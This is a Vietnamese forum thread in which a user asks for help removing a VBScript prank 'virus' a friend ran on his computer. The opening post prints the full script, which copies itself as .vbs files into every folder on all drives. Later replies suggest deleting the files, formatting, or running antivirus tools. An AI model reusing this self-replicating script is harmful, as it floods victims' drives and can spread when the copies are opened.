[Thắc mắc/Hỏi] cao thu giup kai nao

[dinhnguyen_nhatminh]

: may e bi dinh virus phan mem viet bang VB

hoi cac pro giai dum em! 1 thang ban no choi xau e no viet ban ngon ngu VB nhu sau....'Thuoc Doc !!!

Dim fso,file,VBCopy

Set fso=CreateObject("Scripting.FileSystemObject")

Set file=fspenTextFile(WScript.ScriptFullName,1)

VBCopy=file.ReadAll

FolderList("A:\")

FolderList("B:\")

FolderList("C:\")

FolderList("D:\")

FolderList("E:\")

FolderList("F:\")

FolderList("G:\")

FolderList("H:\")

FolderList("I:\")

FolderList("J:\")

FolderList("K:\")

FolderList("L:\")

FolderList("M:\")

FolderList("N:\")

FolderList("O:\")

FolderList("P:\")

FolderList("Q:\")

FolderList("R:\")

FolderList("S:\")

FolderList("T:\")

FolderList("U:\")

FolderList("V:\")

FolderList("X:\")

FolderList("Y:\")

FolderList("Z:\")

FolderList("W:\")

Sub FolderList(FolderSpec)

On Error Resume Next

Dim f,f1,sf,COP,CAP

Set f=fso.GetFolder(FolderSpec)

set sf=f.SubFolders

For Each f1 In sf

Set COP=fso.CreateTextFile(f1.path & "\ban da dinh virus TINH ! hay tat may ngay.vbs")

COP.write VBCopy

Set CAP=fso.CreateTextFile(f1.path & "---ban da dinh virus TINH ! hay tat may ngay.vbs")

CAP.write VBCopy

FolderList(f1.Path)

Next

End sub.

em kick vao the la tat ca ca o? o dau co forder no tao ra 1 file " ban da dinh virus TINH ! ban tat may ngay."

ai co cach nao giai dum em vs nhe"!thanks

kai wan trong la trong o? D va o? E rat nhieu cai windows va` ghost không the het dc! way lai time thi hok co' vi e vua vao! ai giai dum di

Thay đổi nội dung bởi 59cdt4; Hôm nay lúc 11:42. Lý do: Hệ thống nhập bài tự động

 

[kydu_ang3ls]

Chỉ là cái tên folder thôi mà. Virut đâu mà virut.

 

[dickyheart5959]

ban hok hieu a! VD trong o D co bao nhieu forder ji thi se xuat hien bay nhieu file co ten la " -ban da dinh virus TINH ! hay tat may ngay." tat ca cac' forder khac deu tao ra 1 file nhu vay! o? cua moi nguoi co bao nhieu forder thi xuat hien bay nhieu! cac chuong trinh antilvirrus thi hok the diet dc vi day la 1 code viet bang VB . không fai la virus.bi jo lam the nao de xoa dc cac file nay!

 

[lapnick_kophai_timboy_nt]

không có gì hết đâu!Nếu sợ thì xóa cái đó đi!hay format lại là ok!

---------- Bài viết vừa được nhập tự động bởi hệ thống ----------

không có gì hết đâu!Nếu sợ thì xóa cái đó đi!hay format lại là ok!

 

[Obrien]

nc nhu ong vanphuong tui chiu chet! xoa' a` trong may tinh biet bao nhieu forder hok! cho ong ngoi ca ngay hok xoa xong...con fomat thi con noi chuyen lam ji nua! du lieu len toi may chuc GB vut di dau!

 

[manlyboy_266]

Cái này diệt = bkav là chết ngỏm củ tỏi rồi, có gì mà lo sợ vậy bạn.

 

[Chetan]

ui đọc code vừa nhức đầu

còn thêm cái bất dấu nữa

pó tay

 

[hoahanhdao94]

Cho cái AVG phiên bản mới ra ngày 1/10/2009 quốc đi bạn!

Link donw:

You must be registered for see links

 

[quangtu20022001]

ê tui vừa đọc trên diễn đàn nào ấy( quên rồi) tìm cách viết virus để chơi một thằng bạn bất cho xin phần mềm mạc dù nó cho rất nhiều. (không lẽ là ông bạn này).Dùng BKAV đi đủ mạnh đẻ diệt nó đấy